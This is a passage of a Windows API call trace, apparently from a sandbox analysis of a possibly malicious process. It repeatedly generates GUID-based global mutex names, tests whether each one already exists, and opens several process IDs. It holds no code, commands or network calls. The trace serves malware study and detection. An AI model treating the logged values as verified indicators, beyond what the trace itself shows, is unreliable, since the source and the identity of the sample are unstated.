[6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.076] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.076] GetLastError () returned 0xb7 [0127.076] CloseHandle (hObject=0x6cc) returned 1 [0127.076] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.076] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.076] GetLastError () returned 0xb7 [0127.076] CloseHandle (hObject=0x6cc) returned 1 [0127.077] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.077] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.077] GetLastError () returned 0x0 [0127.077] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.077] CloseHandle (hObject=0x6cc) returned 1 [0127.077] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.077] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.077] GetLastError () returned 0x0 [0127.077] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.077] CloseHandle (hObject=0x6cc) returned 1 [0127.077] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.077] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.077] GetLastError () returned 0xb7 [0127.077] CloseHandle (hObject=0x6cc) returned 1 [0127.078] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.078] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.078] GetLastError () returned 0x0 [0127.078] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.078] CloseHandle (hObject=0x6cc) returned 1 [0127.085] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.085] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.085] GetLastError () returned 0xb7 [0127.085] CloseHandle (hObject=0x6cc) returned 1 [0127.206] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.206] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.206] GetLastError () returned 0xb7 [0127.206] CloseHandle (hObject=0x6cc) returned 1 [0127.207] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.207] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.207] GetLastError () returned 0xb7 [0127.207] CloseHandle (hObject=0x6cc) returned 1 [0127.208] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.208] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.208] GetLastError () returned 0x0 [0127.208] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.208] CloseHandle (hObject=0x6cc) returned 1 [0127.209] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.209] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.209] GetLastError () returned 0x0 [0127.209] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.209] CloseHandle (hObject=0x6cc) returned 1 [0127.210] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.210] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.210] GetLastError () returned 0xb7 [0127.210] CloseHandle (hObject=0x6cc) returned 1 [0127.211] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.211] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.211] GetLastError () returned 0x0 [0127.211] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.211] CloseHandle (hObject=0x6cc) returned 1 [0127.222] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.222] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.222] GetLastError () returned 0xb7 [0127.222] CloseHandle (hObject=0x6cc) returned 1 [0127.326] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.326] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.326] GetLastError () returned 0xb7 [0127.326] CloseHandle (hObject=0x6cc) returned 1 [0127.327] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.327] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.327] GetLastError () returned 0xb7 [0127.327] CloseHandle (hObject=0x6cc) returned 1 [0127.327] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.327] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.328] GetLastError () returned 0x0 [0127.328] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.328] CloseHandle (hObject=0x6cc) returned 1 [0127.328] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.328] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.328] GetLastError () returned 0x0 [0127.328] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.328] CloseHandle (hObject=0x6cc) returned 1 [0127.328] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.329] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.329] GetLastError () returned 0xb7 [0127.329] CloseHandle (hObject=0x6cc) returned 1 [0127.329] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.329] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.329] GetLastError () returned 0x0 [0127.329] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.329] CloseHandle (hObject=0x6cc) returned 1 [0127.338] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.338] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.338] GetLastError () returned 0xb7 [0127.338] CloseHandle (hObject=0x6cc) returned 1 [0127.450] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.450] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.450] GetLastError () returned 0xb7 [0127.450] CloseHandle (hObject=0x6cc) returned 1 [0127.450] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.450] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.450] GetLastError () returned 0xb7 [0127.450] CloseHandle (hObject=0x6cc) returned 1 [0127.451] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.451] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.451] GetLastError () returned 0x0 [0127.451] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.451] CloseHandle (hObject=0x6cc) returned 1 [0127.451] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.451] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.451] GetLastError () returned 0x0 [0127.451] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.451] CloseHandle (hObject=0x6cc) returned 1 [0127.451] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.451] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.451] GetLastError () returned 0xb7 [0127.451] CloseHandle (hObject=0x6cc) returned 1 [0127.452] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.452] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.452] GetLastError () returned 0x0 [0127.452] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.452] CloseHandle (hObject=0x6cc) returned 1 [0127.459] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.459] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.459] GetLastError () returned 0xb7 [0127.459] CloseHandle (hObject=0x6cc) returned 1 [0127.565] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.565] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.565] GetLastError () returned 0xb7 [0127.565] CloseHandle (hObject=0x6cc) returned 1 [0127.565] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.565] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.565] GetLastError () returned 0xb7 [0127.566] CloseHandle (hObject=0x6cc) returned 1 [0127.566] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.566] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.566] GetLastError () returned 0x0 [0127.566] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.567] CloseHandle (hObject=0x6cc) returned 1 [0127.567] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.567] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.567] GetLastError () returned 0x0 [0127.567] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.567] CloseHandle (hObject=0x6cc) returned 1 [0127.568] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.568] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.568] GetLastError () returned 0xb7 [0127.568] CloseHandle (hObject=0x6cc) returned 1 [0127.568] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.568] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.568] GetLastError () returned 0x0 [0127.568] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.568] CloseHandle (hObject=0x6cc) returned 1 [0127.578] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.578] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.578] GetLastError () returned 0xb7 [0127.578] CloseHandle (hObject=0x6cc) returned 1 [0127.684] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.684] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.684] GetLastError () returned 0xb7 [0127.684] CloseHandle (hObject=0x6cc) returned 1 [0127.684] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.684] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.684] GetLastError () returned 0xb7 [0127.684] CloseHandle (hObject=0x6cc) returned 1 [0127.685] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.685] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.685] GetLastError () returned 0x0 [0127.685] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.685] CloseHandle (hObject=0x6cc) returned 1 [0127.685] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.685] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.685] GetLastError () returned 0x0 [0127.685] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.685] CloseHandle (hObject=0x6cc) returned 1 [0127.685] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.685] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.685] GetLastError () returned 0xb7 [0127.685] CloseHandle (hObject=0x6cc) returned 1 [0127.686] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.686] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.686] GetLastError () returned 0x0 [0127.686] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.686] CloseHandle (hObject=0x6cc) returned 1 [0127.693] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, 